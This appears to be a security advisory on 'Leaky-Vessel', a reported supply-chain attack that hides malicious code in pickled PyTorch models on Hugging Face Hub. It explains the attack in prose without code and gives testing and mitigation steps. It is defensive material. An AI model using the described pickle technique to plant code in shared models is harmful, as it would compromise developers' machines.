Leaky-Vessel: Silent Code Execution via Malicious Pickled Models on Hugging Face Hub
Overview
Researchers from Trail of Bits and ProtectAI discovered a widespread supply chain vulnerability affecting the Hugging Face Hub, a popular repository for pre-trained AI models. The attack, codenamed 'Leaky-Vessel,' involves uploading PyTorch models (.pth, .pt) that contain malicious code embedded within their serialized data using Python's `pickle` module. The `pickle` format is inherently unsafe as it can be crafted to execute arbitrary commands during the deserialization process. When an unsuspecting developer or MLOps pipeline downloads and loads one of these poisoned models using the standard `torch.load()` function, the malicious code executes silently on their machine. This can lead to a complete system compromise, including data theft, installation of ransomware, or using the compromised machine as part of a botnet. The attack vector is particularly dangerous because it exploits the implicit trust developers place in shared models and the common practice of using `pickle` for model serialization, highlighting a critical flaw in the AI/ML supply chain where security scanning for models is not as mature as for application code.
Affected Systems
Testing Guide
1. **Check Dependencies:** Review your project's dependencies and model loading code. Identify any instances where `torch.load()` or `pickle.load()` are used on model files downloaded from public repositories. 2. **Scan Your Models:** Use a tool like `safetensors_check` or a commercial model scanner to analyze your local model cache (`~/.cache/huggingface/hub`). 3. **Simulate in a Sandbox:** In a secure, isolated environment, attempt to load a known proof-of-concept malicious model file. Observe for unexpected network connections or file system modifications, confirming the execution vulnerability.
Mitigation Steps
1. **Use Safe Model Formats:** Prefer model formats that do not use `pickle`, such as `safetensors`. This format only allows for tensor data to be saved and loaded, preventing arbitrary code execution. 2. **Scan Models Before Use:** Employ model scanning tools like `protectai/model-scanner` to inspect model files for unsafe modules and potential malicious code before loading them. 3. **Isolate Model Loading:** Run model loading and inference processes in sandboxed or containerized environments with restricted network access and permissions to limit the blast radius of a potential compromise. 4. **Update Libraries:** Ensure PyTorch and other ML frameworks are kept up-to-date, as newer versions may include improved warnings or safer loading mechanisms.
Patch Details
Mitigation relies on adopting safer practices and tools. Hugging Face has integrated model scanning and promotes the `safetensors` format. PyTorch has added more prominent warnings about `pickle` insecurity.